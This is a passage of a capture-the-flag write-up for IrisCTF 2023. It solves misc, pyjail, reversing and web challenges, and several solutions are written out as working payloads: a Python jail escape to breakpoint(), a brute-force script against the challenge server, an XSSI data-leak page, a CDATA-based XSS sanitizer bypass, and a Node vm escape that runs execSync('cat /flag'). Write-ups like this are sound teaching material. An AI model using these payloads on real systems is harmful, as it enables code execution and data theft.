(&>/dev/null python3 /home/user/chal_serv.py)&

python3 /home/user/chal.py 2>&1

The goal of this problem is clear: to control the environment variables so that http://flag_domain:25566/flag fetches the flag. I first man curl and found the http_proxy environment variable, then set it to http://127.0.0.1:25566/, so curl sends this request to the proxy server:

GET http://flag_domain:25566/flag HTTP/1.1
Host: flag_domain:25566
User-Agent: curl/7.87.0
Accept: */*
Proxy-Connection: Keep-Alive

And the flask server accepts it, so you get the flag.

irisctf{very_helpful_error_message}

However, the intended solution uses RESOLV_HOST_CONF to read files, which can be found in glibc here.

Nameless

pyjail

#!/usr/bin/python3

code_type = type(compile("1", "Code", "exec"))

go = input("Code: ")
res = compile(go, "home", "eval")

def clear(code):
    print(">", code.co_names)
    new_consts = []
    for const in code.co_consts:
        print("C:", const)
        if isinstance(const, code_type):
            new_consts.append(clear(const))
        elif isinstance(const, int):
            new_consts.append(0)
        elif isinstance(const, str):
            new_consts.append("")
        elif isinstance(const, tuple):
            new_consts.append(tuple(None for _ in range(len(const))))
        else:
            new_consts.append(None)
    return code.replace(co_names=(), co_consts=tuple(new_consts))

res = clear(res)
del clear
del go
del code_type

# Go!
res = eval(res, {}, {})
print(res(vars(), vars))

This pyjail recursively clears co_names and modifies co_consts, then returns a function res, which is called with res(vars(), vars).

So we want it to be in the form lambda x, y: ..., since parameters are in co_varnames and are unaffected, and function local variables (a:=1 etc) are also in co_varnames.

First, x is a dict containing __builtins__, so you can access it using [*x][idx], but since integers are replaced with 0, you need to use not[] to construct it. After obtaining the builtins module, use y(__builtins__) to convert it to a dict, then use the same method to get breakpoint and call it directly.

def gen(n):
    s = '+'.join(['(not[])'] * n)
    return '(' + s + ')'

go = f"""
lambda x,y:[x:=y(x[[*x][{gen(6)}]]),x[[*x][{gen(12)}]]][{gen(1)}]()
"""
print(go)
# lambda x,y:[x:=y(x[[*x][((not[])+(not[])+(not[])+(not[])+(not[])+(not[]))]]),x[[*x][((not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[]))]]][((not[]))]()
# irisctf{i_made_this_challenge_so_long_ago_i_hope_there_arent_10000_with_this_idea_i_missed}

Additionally, there are interesting ways to construct numbers, such as -~-~-~-~-~-~-~-~-~-~-~(not[]), since Python's ~x is just -x-1, as two's complement must satisfy x+(~x)=-1.

Reverse Engineering

baby_rev

Throw it into IDA and use z3:

from z3 import *

s = [Int(f"s_{i}") for i in range(32)]
s0 = s[:]
s[0] -= 105
s[1] = s[1] - 114 + 1
s[2] = s[2] - 105 + 2
s[3] = s[3] - 115 + 3
s[4] = s[4] - 99 + 4
s[5] = s[5] - 116 + 5
s[6] = s[6] - 102 + 6
s[7] = s[7] - 123 + 7
s[8] = s[8] - 109 + 8
s[9] = s[9] - 105 + 9
s[10] = s[10] - 99 + 10
s[11] = s[11] - 114 + 11
s[12] = s[12] - 111 + 12
s[13] = s[13] - 115 + 13
s[14] = s[14] - 111 + 14
s[15] = s[15] - 102 + 15
s[16] = s[16] - 116 + 16
s[17] = s[17] - 95 + 17
s[18] = s[18] - 119 + 18
s[19] = s[19] - 111 + 19
s[20] = s[20] - 114 + 20
s[21] = s[21] - 100 + 21
s[22] = s[22] - 95 + 22
s[23] = s[23] - 97 + 23
s[24] = s[24] - 116 + 24
s[25] = s[25] - 95 + 25
s[26] = s[26] - 104 + 26
s[27] = s[27] - 111 + 27
s[28] = s[28] - 109 + 28
s[29] = s[29] - 101 + 29
s[30] = s[30] - 58 + 30
s[31] = s[31] - 125 + 31
sol = Solver()
for i in range(32):
    sol.add(s[i] == i)
assert sol.check() == sat
m = sol.model()
print("".join([chr(m[s0[i]].as_long()) for i in range(32)]))
# irisctf{microsoft_word_at_home:}

Although z3 is overkill for this problem, it's just easier to be lazy with z3 XD.

Meaning of Python 1

A Python flag checker that appears to perform some strange operations on the input, then zlib.compress it and perform other operations, finally comparing it with a constant byte string. However, upon closer inspection, it doesn't actually modify the original string, as it is immutable, so just zlib.decompress the final result to solve it.

Meaning of Python 2

An obfuscated Python script. Simple reverse engineering reveals that it does exec(zlib.decompress(something)), so decompress that script and format it. It's another obfuscated Python script, but it behaves similarly to the previous problem, so it likely doesn't modify the input either. Just zlib.decompress the final result to solve it.

Scoreboard Website Easter Egg

The scoreboard page contains /static/theme_min.js with obfuscated JavaScript. By setting breakpoints and debugging, you can see it stores state information in localStorage, and the input method is determined by the category tab you click. After 17 inputs, it performs some checks, and you can derive an AES key to decrypt.

The solution is simple: get the category names and brute-force them one by one:

M = 1 << 64
target = [
    0x2B47,
    0x2EC76,
    0x31E0F8,
    0x34FFD37,
    0x384FEAC4,
    0x3BD4EA3C3,
    0x3F9238ECB2,
    0x438B5C7E540,
    0x47C412466529,
    0x4C40536ACD1D6,
    0x510458A17A1B46,
    0x56149E2B91BFCC8,
    0x5B75E80E4ADBE365,
    0x12D468F2F89A4375,
    0x401AF822823E94E2,
    0x41CA7A4AA6280CC2,
    0x5E721EF508A904F2,
    0x45940E4593396E2F,
    0x9ED4F29EC6D07ADF,
    0x8C241C8B33D8358E,
]
categories = [
    "Binary Exploitation",
    "Cryptography",
    "Forensics",
    "Miscellaneous",
    "Networks",
    "Radio Frequency",
    "Reverse Engineering",
    "Web Exploitation",
    "Welcome",
]
b = 0x17


def cat2val(cat):
    u = ord(cat[1]) * ord(cat[6]) - ord(cat[3])
    v = cat[1] + cat[6] + cat[3]
    return u, v


key = ""
i = 0
while i < len(target):
    for cat in categories:
        u, v = cat2val(cat)
        if (b * 0x11 + u) % M == target[i]:
            print(u, v)
            b = (b * 0x11 + u) % M
            i += 1
            key += v
            print(key)
            break
# then enter the key to debugger to get svg
# irisctf{ponies_who_eat_rainbows_and_poop_butterflies}

According to the author, you can also manually click to get the flag:

go to homepage
go to network challenge (https://2023.irisc.tf/challenges?category=Networks)
click on these in order:
binexp
forens
binexp
radio
binexp
binexp
crypto
misc
radio
web
forens
radio
netw
radio
netw
web
radio
netw
binexp

flag svg

Web Exploitation

babystrechy

<?php
$password = exec("openssl rand -hex 64");

$stretched_password = "";
for($a = 0; $a < strlen($password); $a++) {
    for($b = 0; $b < 64; $b++)
        $stretched_password .= $password[$a];
}

echo "Fear my 4096 byte password!\n> ";

$h = password_hash($stretched_password, PASSWORD_DEFAULT);

while (FALSE !== ($line = fgets(STDIN))) {
    if(password_verify(trim($line), $h)) die(file_get_contents("flag"));
    echo "> ";
}
die("No!");

?>

The key to this problem is that PASSWORD_DEFAULT is bcrypt, which only takes the first 72 characters, so just brute-force it:

from pwn import *
import string
from subprocess import check_output

def solve_pow(io):
    io.recvuntil(b'with:\n    ')
    cmd = io.recvlineS().strip()
    print(cmd)
    if input('Ok? ').lower().strip() != 'y':
        exit()
    out = check_output(cmd, shell=True).strip()
    print(out)
    io.sendlineafter(b'Solution? ', out)

# io = process(["php", "chal.php"])
io = remote("stretchy.chal.irisc.tf", 10704)
solve_pow(io)
io.recvuntil(b"> ")


for a in string.hexdigits:
    for b in string.hexdigits:
        pwd = a * 64 + b * 8
        io.sendline(pwd.encode())
io.interactive()
# irisctf{truncation_silent_and_deadly}

babycsrf

from flask import Flask, request

app = Flask(__name__)

with open("home.html") as home:
    HOME_PAGE = home.read()

@app.route("/")
def home():
    return HOME_PAGE

@app.route("/api")
def page():
    secret = request.cookies.get("secret", "EXAMPLEFLAG")
    return f"setMessage('irisctf{{{secret}}}');"

app.run(port=12345)

Simply create a page that defines setMessage and includes the /api script:

<script>
	setMessage = flag => {
		new Image().src = '/flag?flag=' + encodeURIComponent(flag)
	}
</script>
<script src="https://babycsrf-web.chal.irisc.tf/api"></script>

irisctf{jsonp_is_never_the_answer}

This should be called XSSI (Cross-Site Script Inclusion) instead of CSRF...

Feeling Tagged

from flask import Flask, request, redirect
from bs4 import BeautifulSoup
import secrets
import base64

app = Flask(__name__)
SAFE_TAGS = ['i', 'b', 'p', 'br']

with open("home.html") as home:
    HOME_PAGE = home.read()

@app.route("/")
def home():
    return HOME_PAGE

@app.route("/add", methods=['POST'])
def add():
    contents = request.form.get('contents', "").encode()
    
    return redirect("/page?contents=" + base64.urlsafe_b64encode(contents).decode())

@app.route("/page")
def page():
    contents = base64.urlsafe_b64decode(request.args.get('contents', '')).decode()
    
    tree = BeautifulSoup(contents)
    for element in tree.find_all():
        if element.name not in SAFE_TAGS or len(element.attrs) > 0:
            return "This HTML looks sus."

    return f"<!DOCTYPE html><html><body>{str(tree)}</body></html>"

The goal is to bypass an HTML sanitizer based on BeautifulSoup. The issue with such sanitizers is that browser behavior (Chromium, Firefox) when parsing HTML is generally different from server-side libraries, leading to different behaviors.

Here, BeautifulSoup uses html.parser as the underlying parser. I tried various HTML tricks and found that it considers CDATA, but in HTML5, CDATA only works in specific contexts, allowing bypass:

<![CDATA[><script>alert(1)</script>]]>

BeautifulSoup treats it as a complete CDATA tag, but Chromium treats <![CDATA[> as a comment, allowing the script to execute.

irisctf{security_by_option}

Author's writeup uses the fact that <!--> is a closed comment in HTML5 to bypass.

metacalc

const { Sheet } = require('metacalc');
const readline = require('readline');

const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
const sheet = new Sheet();

rl.question('I will add 1 to your input?? ', input => {
    sheet.cells["A1"] = 1;
    sheet.cells["A2"] = input;
    sheet.cells["A3"] = "=A1+A2";
    console.log(sheet.values["A3"]);
    process.exit(0);
});

This uses metacalc version 0.0.2, and it has a previous patch:

--- sheet.o.js	2022-08-11 17:32:27.803553441 -0700
+++ sheet.js	2022-08-11 17:38:51.821472938 -0700
@@ -7,13 +7,16 @@
   new Proxy(target, {
     get: (target, prop) => {
       if (prop === 'constructor') return null;
+      if (prop === '__proto__') return null;
       const value = target[prop];
       if (typeof value === 'number') return value;
       return wrap(value);
     },
   });
 
-const math = wrap(Math);
+// Math has too much of an attack surface :(
+const SlightlyLessUsefulMath = new Object();
+const math = wrap(SlightlyLessUsefulMath);
 
 const getValue = (target, prop) => {
   if (prop === 'Math') return math;

So node_modules/metacalc/lib/sheet.js becomes:

'use strict';

const metavm = require('metavm');

const wrap = (target) =>
  new Proxy(target, {
    get: (target, prop) => {
      if (prop === 'constructor') return null;
      if (prop === '__proto__') return null;
      const value = target[prop];
      if (typeof value === 'number') return value;
      return wrap(value);
    },
  });

// Math has too much of an attack surface :(
const SlightlyLessUsefulMath = new Object();
const math = wrap(SlightlyLessUsefulMath);

const getValue = (target, prop) => {
  if (prop === 'Math') return math;
  const { expressions, data } = target;
  if (!expressions.has(prop)) return data.get(prop);
  const expression = expressions.get(prop);
  return expression();
};

const getCell = (target, prop) => {
  const { expressions, data } = target;
  const collection = expressions.has(prop) ? expressions : data;
  return collection.get(prop);
};

const setCell = (target, prop, value) => {
  if (typeof value === 'string' && value[0] === '=') {
    const src = '() => ' + value.substring(1);
    const options = { context: target.context };
    const script = metavm.createScript(prop, src, options);
    target.expressions.set(prop, script.exports);
  } else {
    target.data.set(prop, value);
  }
  return true;
};

class Sheet {
  constructor() {
    this.data = new Map();
    this.expressions = new Map();
    this.values = new Proxy(this, { get: getValue });
    this.context = metavm.createContext(this.values);
    this.cells = new Proxy(this, { get: getCell, set: setCell });
  }
}

module.exports = { Sheet };

It looks like a node.js jail. The key is to find a way to access objects outside the vm, likely related to Math. Although you can't directly use Math.__proto__ to access the outer Object.prototype, you can use Object.getPrototypeOf to bypass this. The complete payload is:

=({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /flag").toString()

irisctf{be_careful_of_implicit_calls}